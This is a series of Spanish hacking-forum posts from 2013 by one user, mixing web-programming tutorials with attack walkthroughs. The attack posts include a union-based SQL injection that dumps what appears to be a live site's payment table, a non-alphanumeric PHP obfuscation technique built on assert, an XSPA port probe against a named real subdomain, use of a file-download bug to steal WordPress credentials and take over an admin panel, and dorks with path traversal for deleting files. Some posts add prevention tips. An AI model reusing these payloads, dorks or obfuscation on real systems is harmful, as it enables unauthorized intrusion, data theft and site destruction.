Este libro te enseña PHP6 y MySQL5 Desde 0, comenzando desde programación estructurada, cosas básicas como:Que es un sitio dinámico, sintaxis, comentarios, variables, cadenas, números, constantes, concatenación, comillas simples vs comillas dobles, crear formularios html y manejarlos, validar datos, arrays, bucles, el lenguaje mysql desde 0 hasta avanzado (manejar datos crud,diseñar bases de datos, realizar transacciones, joins), manejo de errores, técnicas de programación comunes (paginar,editar registros, modulación, etc), enviar mails, subir archivos, manejo de cabeceras, cookies y sesiones (sistema de login), metodos de seguridad (evitar spam, validar tipos de datos, evitar sqli, métodos de encriptacion), expresiones regulares, creando sitios universales (charsets,languages,unicode), crear un foro simple, crear un sistema de registros, crear un sitio ecommerce (de compras) simple, como instalar apache mysql php en diferentes plataformas, y configurar nuestro php.ini, es un libro muy completo y se los recomiendo.... La única desventaja es que esta en ingles  y que solo muestra programación estructurada jaja :P

Link de descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



salu2 :D
#52
Pentesting / [Tutorial] XSS a ciegas
Agosto 14, 2013, 07:25:11 PM
¿Que es XSS a ciegas?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

XSS a ciegas en realidad es un XSS persistente que se ejecuta en otra parte del sitio web que no se muestra directamente al usuario, sino se ejecuta en otra parte de la misma aplicacion web.

A un ataque XSS persistente me refiero a uno que queda almacenado en una base de datos o un archivo de registro.

¿Como atacar?

En realidad esto es lo mas bonito, como no sabemos que vector inyectar, inyectamos a lo tonto o se podria decir que inyectamos por fuerza bruta :D
Me refiero a que tenemos una lista de Payloads la cual lanzamos en variables que pudiesen ser vulnerables a este tipo de ataques, este tipo de ataques mas comunmente suceden en aplicacion de inicio de sesion, foros, etc...

Vamos a hacer una practica :)

La siguiente practica sera algo mas irreal pero es para que se entienda el concepto de XSS a ciegas :D
Tenemos dos archivos en la practica sin filtrar nada de nada :P
Aqui se los dejo:

contact.php
Código: php
<!DOCTYPE html>
<html lang="es">
<head>
	<meta charset="utf-8">
	<title>Contacto</title>
	<style>
		.error{
			color:red;
			font-weight: bold;
		}
		.ok{
			color:green;
			font-weight: bold;
		}
	</style>
</head>
<?php
	if(isset($_POST['submit'])){
		if(!empty($_POST['name']) && !empty($_POST['email']) && !empty($_POST['message'])){
			$nombre=$_POST['name'];
			$correo=$_POST['email'];
			$mensaje=$_POST['message'];
			$fp = fopen("logs.txt","a");
			fwrite($fp, "Nombre: $nombre \t Correo: $correo \t Mensaje: $mensaje" . PHP_EOL);
			fclose($fp);
			echo '<p class="ok">Su mensaje ha sido enviado correctamente.</p>';
		}else{
			echo '<p class="error">No ha llenado los campos correctamente.</p>';
		}
	}else{
?>
<body>
	<center>
	<h1>Formulario de contacto</h1>
	<form action="contact.php" method="post">
		<p>nombre: <input type="text" name="name" size="15" maxlength="40"></p>
		<p>correo: <input type="text" name="email" size="15" maxlength="80"></p>
		<p>mensaje: <textarea name="message"></textarea></p>
		<p><input type="submit" value="Enviar" name="submit"></p>
	</form>
	</center>
</body>
</html>
<?php
}
?>

login.php
Código: php
<!DOCTYPE html>
<html lang="es">
<head>
	<meta charset="utf-8">
	<title>Contacto</title>
	<style>
		.error{
			color:red;
			font-weight: bold;
		}
		.ok{
			color:green;
			font-weight: bold;
		}
	</style>
</head>
<?php
	if(isset($_POST['submit'])){
		if(!empty($_POST['name']) && !empty($_POST['pass'])){
			$nombre=$_POST['name'];
			$password=$_POST['pass'];
			if($nombre=="arthusu" && $password=="12345"){
			echo '<h1>Bienvenido al sistema de logs</h1>';
			$file = fopen("logs.txt", "r") or exit("no se pudo abrir el archivo!");
			while(!feof($file))
			{
			echo fgets($file). "<br />";
			}
			fclose($file);
			}else{
				echo '<p class="error">El usuario o contraseña no son correctos.</p>';
			}
		}else{
			echo '<p class="error">No ha llenado los campos correctamente.</p>';
		}
	}else{
?>
<body>
	<center>
	<h1>Sistema de registros - Iniciar sesion</h1>
	<form action="login.php" method="post">
		<p>nombre: <input type="text" name="name" size="15" maxlength="40"></p>
		<p>contraseña: <input type="password" name="pass" size="15" maxlength="80"></p>
		<p><input type="submit" value="Enviar" name="submit"></p>
	</form>
	</center>
</body>
</html>
<?php
}
?>


Ahora digamos que el usuario entra a nuestra pagina de contacto y deja su mensaje:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





Luego llega el administrador y va y checa el mensaje en su sistema de logs :D

usuario: arthusu contraseña: 12345

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta







Ahora digamos que el usuario empieza a atacar con su lista de payloads, en este caso no usaremos una lista de payloads solo usaremos un vector, por que nosotros ya sabemos como inyectar, pero en realidad no se sabe cual vector va llegar a funcionar es por eso que se inyectan una lista de payloads al sitio....

Entonces enviamos nuestro mensaje de nuevo que seria nuestro vector a inyectar:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Luego llega el administrador e inicia sesion en su sistema de logs donde puede ver los mensajes enviados :P

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En este caso se puede ver muy claramente el concepto de XSS a ciegas por que nosotros en realidad no sabemos si se inyecto por que no la vemos... pero el administrador si la mirara y se le inyectara ese codigo cuando lo mire en sus logs, entonces como se puede insertar en este caso cualquier xss no solamente podemos hacer un alert, sino una redireccion a un deface, un robo de cookies (claro esta app no tiene cookies por que es un ejemplo solamente),etc....


Prevencion

La unica prevencion es no confiar en nada de lo que el usuario ingrese y filtrar todo lo que inserte... Veamos por ejemplo como solucionariamos este problema de que nos inyecten este XSS:

contact.php FIX
Código: php
<!DOCTYPE html>
<html lang="es">
<head>
	<meta charset="utf-8">
	<title>Contacto</title>
	<style>
		.error{
			color:red;
			font-weight: bold;
		}
		.ok{
			color:green;
			font-weight: bold;
		}
	</style>
</head>
<?php
	if(isset($_POST['submit'])){
		if(!empty($_POST['name']) && !empty($_POST['email']) && !empty($_POST['message'])){
			$nombre=htmlentities($_POST['name']);
			$correo=htmlentities($_POST['email']);
			$mensaje=htmlentities($_POST['message']);
			$fp = fopen("logs.txt","a");
			fwrite($fp, "Nombre: $nombre \t Correo: $correo \t Mensaje: $mensaje" . PHP_EOL);
			fclose($fp);
			echo '<p class="ok">Su mensaje ha sido enviado correctamente.</p>';
		}else{
			echo '<p class="error">No ha llenado los campos correctamente.</p>';
		}
	}else{
?>
<body>
	<center>
	<h1>Formulario de contacto</h1>
	<form action="contact.php" method="post">
		<p>nombre: <input type="text" name="name" size="15" maxlength="40"></p>
		<p>correo: <input type="text" name="email" size="15" maxlength="80"></p>
		<p>mensaje: <textarea name="message"></textarea></p>
		<p><input type="submit" value="Enviar" name="submit"></p>
	</form>
	</center>
</body>
</html>
<?php
}
?>


En este caso solo filtramos contra este ataque xss pero tambien podriamos hacer mas como filtrar si el campo inyectado es solo string de la a ala z para el nombre, el email este escrito correctamente, etc....

Veamos el ejemplo cuando lo ejecutamos de nuevo con el mismo vector anterior cuando inyectamos:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Aqui termina el tutorial espero que les haya sido de ayuda, no sin antes de darles un poco de ayuda para este tipo de ataques:

Cheat sheet XSS (Payloads): No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Burp Suite (Lanzar Payloads): No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Sitio de referencia: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Fuente: Arthusu BLOG
#53
Back-end / [Tutorial] PHP no alfanumerico
Agosto 11, 2013, 11:00:31 PM
CitarEste tutorial ha sido originalmente creado por Gareth Heyes en su BLOG:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Esto solo es una traduccion, espero que les sea de ayuda como me fue a mi al investigar sobre el tema, ademas pueden usar su herramienta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para generar este tipo de obfuscado.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Mi primer post de código no alfanumérico era un poco breve, en la emoción del descubrimiento y falle en profundizar el proceso. He decidido seguir con este tutorial y espero explicar mejor el proceso para cualquiera que quiera aprender o mejorar esta técnica.

La base de código PHP no alfanumérico es aprovechar el hecho de que PHP automáticamente convierte matrices (Arrays) en una cadena "Array" cuando se usa en un contexto de cadenas. Un ejemplo sencillo seria:
  $x= array(1,2,3);
echo $x; // Salida: Array

$x ahora es la cadena "Array". Perto te daras cuenta que usamos caracteres alfanumericos, tambien podemos crear una matriz sin utilizar array() como el siguiente:

$_="";
$_[+""]='';
echo $_; // Salida Array

La primera parte crea una variable "$_" la segunda parte hace referencia a 0 mediante el operador de prefijo de una cadena en blanco para convertir a 0, la asignación crea el array. Este fue un primer intento de hackear una matriz cuando escribí por primera vez, pero se pueden utilizar todo tipo de trucos, por ejemplo, no es necesario que parta de "0".

$_="";
$_[+$_]++;
echo $_; // Salida Array

Te dejare a ti experimentar formas de crear matrices pero tu tienes la idea.
Claro nosotros tenemos los caracteres "A","r","r" etc, Ahora tenemos que acceder a ellos y afortunadamente PHP es muy similar a JavaScript en ese sentido. El primer paso es forzar a nuestra matriz (Array) dentro de la cadena actual para concatenar con una cadena en blanco como esto:

$_=$_.""; // $_ contiene nuestro Array anteriormente creado y lo forzamos dentro de una cadena

El siguiente paso es acceder a la letra actual y PHP convenientemente provee el mismo método que javascript para acceder. Para hacerlo necesitamos cero (0), como mostramos antes usando el operador prefijo con una cadena en blanco podemos convertir a cero (0) (también como javascript).

echo +""; // Salida 0

Usando el 0 nosotros podemos acceder a nuestra letra "A" desde la matriz convertida.

echo $_[+""]; // Salida "A"

Ahora originalmente por que estaba descubriendo esta técnica hice algunas operaciones matemáticas locas en múltiples caracteres para obtener otros caracteres para la matriz, pero esto no fue necesario como Stefan Esser propuso puede ser mas simple usar cadenas de incremento/decremento. Pero de cualquier manera yo imagine la salida de las letras haciendo una anidación de todos los caracteres en bucles, luego haré un post del script. Por ahora vamos simplemente a incrementar/decrementar los caracteres que nosotros necesitemos. Mostraremos como obtener la letra "B" primero.
  $_=""; // nosotros necesitamos una cadena en blanco para comenzar
$_[+$_]++; // Accedemos a la parte de la cadena y lo convertimos en una matriz
$_=$_.""; // Convertimos la matriz en una cadena "Array"
$_=$_[+""]; // Accedemos a el índice 0 de nuestra cadena "Array" que es "A"
echo ++$_; // Incrementamos "A" a "B"

Esto es lo básico de como funciona, nosotros necesitamos crear una una cadena que llame a una función tal como "chr" o genere caracteres manualmente y entonces una función basada en eval para llamar a nuestro código. El post original usaba GET pero desde que ya esta documentado te mostrare como generar código diferente. Nosotros usaremos la función "assert" de PHP, ya que evalúa código y se le permite ser llamado usando referencias de cadenas de su nombre. Por ejemplo:
  $_="assert";
$_("print 1+1"); // Output 2

Por lo tanto necesitamos generar "assert" y nuestro código llamado. Usando el ejemplo de antes que nosotros generamos "Array" nosotros simplemente creamos nuevas referencias y incrementamos los caracteres que necesitemos.


$_="";// Nosotros necesitamos una cadena en blanco para comenzar
$_[+$_]++;// Accedemos a la parte de la cadena para convertirla en una matriz(Array)
$_=$_."";// Convertimos la matriz en una cadena "Array"
$__=+"";// Creamos 0
$__++;// Incrementamos a 1
$___=$_[+""];// Accedemos al índice 0 de la cadena "Array" que es "A"
$____=$____=$_[$__];// Accedemos al índice 1 de la cadena "Array" que es "r"
$_____=$____;// Asignamos "r" para una nueva variable
$_____++;// Incrementamos a "s"
$______=$___;// Nueva variable para "E"
$______++;$______++;$______++;$______++;//Incrementamos para "E"
$_=$___.$_____.$_____.$______.$____.++$_____;//Concatemos las cadenas para formar "AssErt"
$_("p".$____."in".$_____." $__+$__");//Llamamos "print 1+1"

Usted notara que faltan caracteres al final "p","i" y "n" son alfanuméricos esos son para que pueda generar el uso de las técnicas descritas. Hay retos distintos que hacer después de eso, por ejemplo, una pregunta que debe hacerse es "¿Cuantos caracteres son el mínimo necesario para generar código no alfanumérico?" Otro reto es "¿Cual es la cantidad mínima de caracteres para crear un generador de código no alfanumérico?". Espero que hayan disfrutado de esta escritura y disfrutado creando y buscando nuevas cosas con no alfanuméricos en PHP!

Retos:

1.- Completa el código "print 1+1" al final del ultimo ejemplo (Básico)
2.- Busca el mínimo de caracteres requeridos para generar código no alfanumérico, ejemplo: usando solo $_ + etc (Difícil)
3.- Crea un generador no alfanumérico en PHP la mas pequeña cantidad de código posible como este: The HackVertor Non-Alpha tag (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) (Difícil)

Lideres del reto:
1.- @insertScript
Reto 1 - Hecho
Reto 2 - Hecho (usando $_()[]+=.;)
#54
Bugs y Exploits / [Demostracion] XSPA en subdominio w3.org
Agosto 04, 2013, 08:48:14 PM
 Bueno antes que nada XSPA (Cross site port attack) es un ataque en el cual puedes atacar los puertos de un determinado sitio, no solo eso sino tambien llegar a ver archivos locales y llegar a realizar desbordamientos de buffer en el sistema.

Para mas informacion sobre este ataque pueden leer el articulo que publique hace ya tiempo en una web:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Entonces empecemos, en este ejemplo usaremos Holoscripter de web como ejemplo para escanear los puertos :P

Como vemos esta web tiene No tienes permitido ver los links. Registrarse o Entrar a mi cuenta el cual da un poco mas de seguridad a tu sitio....

Lo siguiente es evitar Cloudflare para ello existen muchos metodos, yo ya lo he sacado y la ip es la siguiente:

Código: php
 65.99.225.171


Despues de eso nos damos cuenta que esa alojado en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Lo siguiente es pasarle un escaneo con nmap para despues comprobar con el ataque XSPA en el subdominio de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta....

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Detectamos los siguientes puertos abiertos, ahora lo siguiente sera ir a la url indicada donde es vulnerable a este tipo de ataques....

Empecemos por un puerto que esta closed que es el 139 por ejemplo, nos arroja una respuesta como la siguiente:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





En pocas palabras no puede conectar a ese puerto....

Veamos ahora con un puerto que esta abierto como el 8080 por ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Ahora aqui lo interesante el tipo de errores que nos arroja son diferentes, en este caso, siempre y que un puerto este abierto arroja un tipo de error de codigo como en este ejemplo que tiro: 524 o alguna palabra como por ejemplo bad request, y siempre que el puerto este cerrado arroja que no se pudo contactar con el servidor (unable to conectact target server :D )

Ahora prueben ;) No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Por cierto he probado con file:// pero no pude encontrar nada interesante...

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pero que yo no haya encontrado no significa que ustedes no lo hagan ahi lo interesante es que esta usando java y esta tirando una excepcion entonces puede ser que en realidad este validando ese tipo de urls ...

Bueno ante esta demostracion me retiro no sin antes decirles que lean el articulo de xspa que les puede interesar... por cierto antes que nada esto no es un "tutorial" solo es una demostracion... Esta vulnerabilidad todavia no ha sido reportada

salu2

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#55
Bugs y Exploits / Union based SQL Inyeccion
Julio 31, 2013, 02:58:34 PM
Causar Error

'
)
\
"

Entendiendo la consulta:

Error performing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''967''' at line 1

select * from tabla where id='967'  -- - ' <-- lo que viene despues de -- es ignorado

Tipos de comentarios:

--
#
/**/

Tipo de inyeccion:

Este tipo de SQL inyeccion es de tipo String o cadena
Tambien existe la de tipo integer o entero. ¿Como sabemos que es string o integer?

simplemente por que tiene '967' esta encerrado entre comillas esta declarado como cadena y cuando agregamos -- - se soluciona es de tipo string :)

Encontrando las columnas:

Vamos a utilizar la clausula ORDER BY para detectar el numero de columnas....

ORDER BY 1 <--- La primera columna existe? SI!

Como no arroja error si existe :)

ORDER BY 10 <--- Existen 10 Columnas? NO

Error performing query: Unknown column '10' in 'order clause'

ORDER BY 5 <-- Existe la columna 5? NO
Error performing query: Unknown column '5' in 'order clause'

ORDER BY 4 <-- Existe la columna 4? NO
Error performing query: Unknown column '4' in 'order clause'

ORDER BY  3 <--- Existe la columna 3? SI

Entonces son 3 columnas :)

Ahora vamos a unir la consulta con la mia que seria mas o menos asi:


select columna1,columna2,columna3 from tabla where id='967' Union Select 1,2,3  -- - '

Esos campos 1 2 y 3 que se muestran son vulnerables y podemos inyectar codigo SQL dentro de ellos. :D

Search the document '1' , 2 - 3.

Funciones basicas:

database() - Arroja la base de datos actual con la que esta trabajando la DB
version() - Arroja la version de  la base de datos
user() - Arroja el usuario actual
concat() - concatenamos (unimos) datos
group_concat() - concatena los datos pero solo 1024 bytes que seria un MB si se pasa corta y no llega
concat_ws() - Funciona igual que concat solo que al inicio lleva un separador

Consulta actual:

select columna1,columna2,columna3 from tabla where id='967'  union select concat(version(),0x7e,database(),0x7e,user()),2,3 -- -

Search the document '5.5.30~genhou5_genhound~genhou5_genhound@localhost' , 2 - 3.

Sacar datos:

Las versiones mayores o iguales a 5 tienen una base de datos de metadatos llamada information_schema
Con la cual puedes sacar los datos de otras bases de datos XD :P

TABLE_NAME -> en esta columna estan los nombres de la tabla
COLUMN_NAME -> en esta columna se encuentran los nombres de las columnas
SCHEMA_NAME -> en esta columna se encuentran los nombres de las bases de datos

TABLES -> en esta tabla se encuentran las tablas
COLUMNS -> en esta tabla se encuentran las columnas
SCHEMATA -> en esta tabla se encuenran las dbs

Sacaremos las tablas de la base de datos actual:

select columna1,columna2,columna3 from tabla where id='967'  union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database() -- -'

tablas:
cred_purch,datatype_look,gh_country,gh_data,gh_
descr_ctry,gh_description,gh_desr_region,gh_merchant,gh_my,
gh_notify,gh_problem,gh_region,gh_register,gh_saved,gh_search,gh_worldloc,info_link,
paypal_payment_info


Sacaremos las columnas de la tabla cred_purch:

select columna1,columna2,columna3 from tabla where id='967'  union select group_concat(column_name),2,3 from information_schema.columns where table_name='cred_purch' -- -'

Columnas:
purch_id,reg_id,credits,amount,time,ptype,notes,txnid,paymentstatus,ppipn

Sacaremos los datos :3

select columna1,columna2,columna3 from tabla where id='967'  union select concat_ws(0x7e,purch_id,reg_id,credits,amount,time,ptype,notes,txnid,paymentstatus,ppipn),2,3 from cred_purch  -- -'

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
?id=967967'  union select concat_ws(0x7e,purch_id,reg_id,credits,amount,time,ptype,notes,txnid,paymentstatus,ppipn),2,3 from cred_purch  -- -'

Finished Class xD !

Alumnati:
Los quito por cuestiones de que no quiero q vean xD

Salu2 espero que les guste auque sea un poco simple :P
#56
Bugs y Exploits / [Tutorial] Source Code Disclosure
Julio 22, 2013, 10:58:42 PM
¿Que es?

Pues segun mis palabras esta es una vulnerabilidad que se basa en un archivo que permite hacer descargas del sitio web sin tener algun filtro o alguno que no filtra todo :P

¿El codigo?

Veremos un ejemplo del codigo que puede ser vulnerable:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como ves solo pide de la variable $f , despues nos manda unos headers con el nombre del archivo y el tipo de archivo y por ultimo solo realiza la salida del mismo.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
  ¿Como explotarla?

Bueno mas que nada lo que se busca son datos sensibles o credenciales que puedan servir para algo, por ejemplo una conexion a una base de datos.

Bueno empecemos he encontrado mi web vulnerable... ahora paso a realizar la descarga del archivo, este es un wordpress y como muchos sabemos wordpress tiene sus credenciales en el archivo wp-config.php


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como vemos tenemos sus credenciales, ahora lo unico que hariamos seria conectar a la base de datos, encontrar sus usuarios y desencriptar contraseñas, como sabemos que este proceso de desencriptacion es muy tardado usamos el token para resetear...

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Y tenemos acceso al panel:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
   ¿Como evitarla?

La forma de evitarla seria solo decir un directorio, ver si el archivo es un archivo en realidad y si existe, y agregar por ejemplo solo una deteccion del tipo de archivo que se va descargar, por ejemplo, pdf y se podrian agregar mas, igual tambien podemos prevenir el uso de null bytes, este seria el codigo de ejemplo:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Fuente: Arthusu BLOG
#57
Pentesting / Eliminacion de archivos arbitrarios
Julio 21, 2013, 03:48:17 PM
¿Que es un archivo arbitrario?

Basicamente un archivo arbitrario es el cual permite la modificacion de otros archivos en el sistema de la aplicacion web.

En este caso hablaremos de un archivo que puede causarnos la eliminacion de otros archivos es decir podriamos eliminar toda la web solo con ese archivo, es algo peligroso dejar un archivo como ese sin que no sea un administrador el que lo esta manejando.

¿Google Hacking?

Claro que si, usaremos los famosos dorks que no son mas que operadores de google para nuestros fines,entonces puedes armarte dorks como los siguientes:

Código: php
inurl: eliminar.php?archivo=
 inurl: delete.php?file=
 inurl: delete.php?filename=


O parecidos en el arte de google hacking la cuestion esta en inventar xD :D

¿Realizando el ataque?

Es simple tienes permiso para borrar un archivo.... xD :D

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Bueno ahi tienen el superpantallazo (borre toda la mierda y deje lo interesante :D ), bueno tenemos la funcion unlink() que lo que hace es eso mismo del tutorial borrar un archivo :) ... Entonces tenemos un ruta, y ademas tenemos un FPD (Full Path Disclousure) y como sabemos LFI(Local File inclusion), combinamos esto y borramos el archivo.... De manera que quedaria asi por ejemplo:

Código: php
file=../../../aquielnombredelarchivoaeliminar.loquesea

De manera que visitaremos nuestra web :D

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Y como vemos va todo ok!

Entonces regresamos a nuestro archivo arbitrario que tiene permisos para eliminar :)
Y le indicamos que ya no queremos ese archivo que lo tire a la basura :P

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Lo que veriamos seria que no tira ningun error unlink() es decir que el archivo se elimino correctamente :)

Entonces tratamos de ingresar a la pagina que anteriormente vimos todo ok :)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
y tenemos un error 404 de que esa pagina no existe :P

Hasta aqui hemos realizado el ataque que seria eliminar el archivo que queramos de laaplicacion web.

¿Como prevenir este tipo de ataques?

Solo es tan facil como no dejar ese tipo de archivos para todo el publico, sino para solo el administrador por ejemplo, o simplemente no crearlos si no son necesarios.

Me despido espero que les haya resultado de utilidad este tutorial :)
#58
Bugs y Exploits / SQLi bypaseando el firewall y pasando el examen!
Junio 06, 2013, 11:58:21 PM


Bueno lectores de mi blog he creado este tutorial que puede que les sea de ayuda para entender un poco mas sobre ¿como trabajan los cortafuegos de las aplicaciones web? este tutorial va dedicado al amigo Mr.Pack... xD :P

Lectura: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#59
Bugs y Exploits / Blind SQLi Boolean Based mysql
Mayo 26, 2013, 01:08:18 AM
bueno amigos vengo a compartiles un post que hice en mi blog lo pase a pdf por que estaba largo para ponerle aqui, lo pueden ver online desde mediafire:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

les dejo un video:



#60
Base de Datos / MySQL minitutorial parte 5
Mayo 17, 2013, 03:50:40 AM
Siguiendo con estos minitutoriales acabo de terminar la parte 5 esperen la que viene espero que les guste cualquier comentario,sugerencia o critica constructiva es bienvenida salu2

link para ver online:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

salu2
#61
Zona Webmaster / [JavaScript][MEDIO] Detectando Errores
Abril 23, 2013, 03:56:30 AM
Buenas underc0de este post lo publique en mi blog espero que a mas de uno les sea de utilidad lo siguiente :p

Bueno anteriormente publique una entrada la cual era un juego de piedra, papel o tijera... en la cual probabamos el codigo javascript en la consola de firebug, aunque puede ser de utilidad para comprobar errores tambien en este caso explicaremos dos de mis favoritas :P

Empezaremos con algo que viene ya en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y nos guiaremos de ella :D

Try...Throw...Catch

Estos son la utilizacion de try (intentar ejecutar codigo)... throw (lanzar mensaje personalizado)... catch (atrapar errores)....

Bueno siempre que programas un script en javascript pueden suceder errores, y con try,throw y catch podemos saber por que suceden tales errores (si es que sabemos en que parte se encuentra el error :P)....


Bueno aunque no es necesario usar throw muchas veces puede resultar util para personalizar nuestro mensaje de error, por lo cual veremos un ejemplo de try...catch y uno de try...throw...catch

Ejemplo de try...catch:

Código: javascript
<!DOCTYPE html>
<html>
<head>
	<title>try...catch</title>
	<script>
		var txt="";
		function mensaje(){
			try{
				adddlert("Bievenido invitado");
			}
			catch(e){
				txt="Ha ocurrido un error\n\n";
				txt+="Descripcion: "+ e.message+"\n\n";
				txt+="Da click aceptar para continuar\n\n";
				alert(txt);
			}
		}
	</script>
</head>
<body>
	<input type="button" value="Ver mensaje" onclick="mensaje();" />
</body>
</html>


Lo que hace esto es intentar ejecutar el codigo que se encuentra entre try { code} pero si el codigo es erroneo se pasa a catch el cual lanza un mensaje de alerta con el error, en este caso e que es el parametro de catch, nos ayuda para que se muestre el mensaje que recogio e.message



Imagen de ejemplo

Como puedes ver nos lanza el mensaje de error en este caso nos dice que adddlert no esta definida y como es claro esa funcion no existe :P

Ahora podriamos personalizar ese mensaje de adddlert pero mejor veremos otro ejemplo, estos dos ejemplos que les muestro los pueden ver en w3schools, les deje el enlace arriba :P

Ejemplo try...throw...catch:

Código: javascript
<!DOCTYPE html>
<html>
<head>
	<title>try...throw...catch</title>
	<script>
		function myFunction(){
			try{
				var x=document.getElementById('demo').value;
				if(x=="") throw "vacio";
				if(isNaN(x)) throw "no es numero";
				if(x>10) throw "es mayor";
				if(x<5) throw "es menor";
				var y=document.getElementById('mess');
				y.innerHTML="Correcto!";
			}
			catch(e){
				var y=document.getElementById('mess');
				y.innerHTML="Error: "+ e + ".";
			}
		}
	</script>
</head>
<body>
	<h1>Detectando errores y personalizando</h1>
	<p>Porfavor introduce un numero entre 5 y 10:</p>
	<input type="text" id="demo" />
	<input type="button" onclick="myFunction();" value="Probar valor" />
	<p id="mess"></p>
</body>
</html>


En este ejemplo lo que hacemos es darle un rango de valores al input... entre 5 y 10 si es menor lo mostramos si es mayor tambien si esta vacio tambien si es una letra tambien xDDD :P



Imagen ejemplo 2


Por consola y firebug

En realidad yo trabajo con firefox y no tengo idea si otros navegadores incluyen una consola de este tipo de todas formas creo que muchos deben de tenerlo solo es cuestion de buscarle XDD

En este caso yo utilizo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y de ahi la saco la consola.... Desde Tools>Error Console....
o Tambien la tachita que muestra te dice el error que puede estar causando...
Y tambien esta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que es demasiado bueno para hacer debug jeje

Aqui tenemos el ultimo ejemplo parecido al primero siendo que tenemos el mismo error, pero en este caso no utilizamos try...catch...

Ejemplo 3:

Código: javascript
<!DOCTYPE html>
<html>
<head>
	<title>Console</title>
	<script>
		function alerta(){
			adddlert("Bievenido invitado");
		}
	</script>
</head>
<body>
	<input type="button" onclick="alerta();" value="Probar!" />
</body>
</html>



Imagen ejemplo 1

Como puedes ver en la imagen de ejemplo en este caso utilizamos la consola de errores para detectar el error


Imagen ejemplo 2

Y en este otro ejemplo utilizamos firebug para detectar el error...

Espero que estos consejos o tutorial les haya sido de utilidad a mas de uno :P
#62
Bugs y Exploits / Double query Error Based Sql Injection
Abril 10, 2013, 05:01:53 AM
Aqui les traigo una entrada que acabo de publicar en mi BLOG espero que les sea de utilidad :D :P

Bueno aqui les muestro un video como se puede realizar una inyeccion sql, se pone double query por que la consulta tiene dos peticiones entonces... muchas veces no podemos hace union select por que nos devuelve algo como... The used SELECT statements have a different number of columns (esto muchas veces puede evitarse viendo el codigo fuente ;) ) o tambien puede deberse a que el campo de la url es vulnerable pero no nos muestra ningun registro en la web por lo que sigue dandose el mismo problema, entonces como sabemos que es  "Error based" entonces hacemos unas peticiones con subconsultas ordenando con group by un alias y como es random de 0 o 1 por la funcion floor, entonces nos causa error en la web por que se duplica la entrada.... si no especificas un 0 en rand(0)*2, es decir, de esta manera rand()*2 entonces igual funcionaria solo que tendrias que hacer varias peticiones hasta que una salga duplicada por eso especificamos el 0, hay muchas variaciones sobre esta inyeccion, si quieren saber mas... Google :d, bueno como arriba en el titulo nunca dije que fuese un tutorial sino una explicacion de lo que pasa, les dejo un video de como puede ser realizada, enjoy!!

Nota: Si algo no logran entenderlo pasense por los minitutoriales de mysql aqui en el mismo BLOG, como una ves dijo mi amigo "q3rv0 siempre tienes que entender lo que estas haciendo" y como dijo mi amigo  "dedalo tienes que ver mas ayá de la tool"


Video:



Pueden ponerlo en calidad 720(HD) salu2

Si quieren tutorial detallado pueden ver el de WilyXem: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si quieren mas a lo mejor con el buscador encuentran salu2 :P
#63
Back-end / SQLi Scanner by arthusu
Abril 08, 2013, 06:41:31 AM
Antes quiero comentarles que no soy muy bueno programando pero hago lo que puedo,bueno he creado este script mas que nada por que me artaba de darle clic a las webs (necesidad xD) y como google te bloqueaba a cierto punto entonces utilice bing, aunque de todas maneras para este tipo de escaneo necesitas un buen servidor con ancho de banda jeje para que lo soporte dependiendo de las peticiones, igual puedes modificar el script y mejorarlo, espero que a mas de uno le ayude....

Aca les dejo unas imagenes....







para usar es tan facil como agregar el dork y las paginas en paginas serian las paginacion de bing.... 1,2,3,4, etc... recomiendo que lo dejen por defecto en 5 ;)

ahora tienen dos opciones de escaneo, cuando seleccionas el checkbox hace una comparacion de paginas (agradesco a Alguien por pasarme este tip :D) y lo que hace es un vector and 0 que seria para blind... aunque pueden modificar a su gusto :P

y el otro detecta errores pueden agregar mas si lo desean.... o quitar si lo desean...

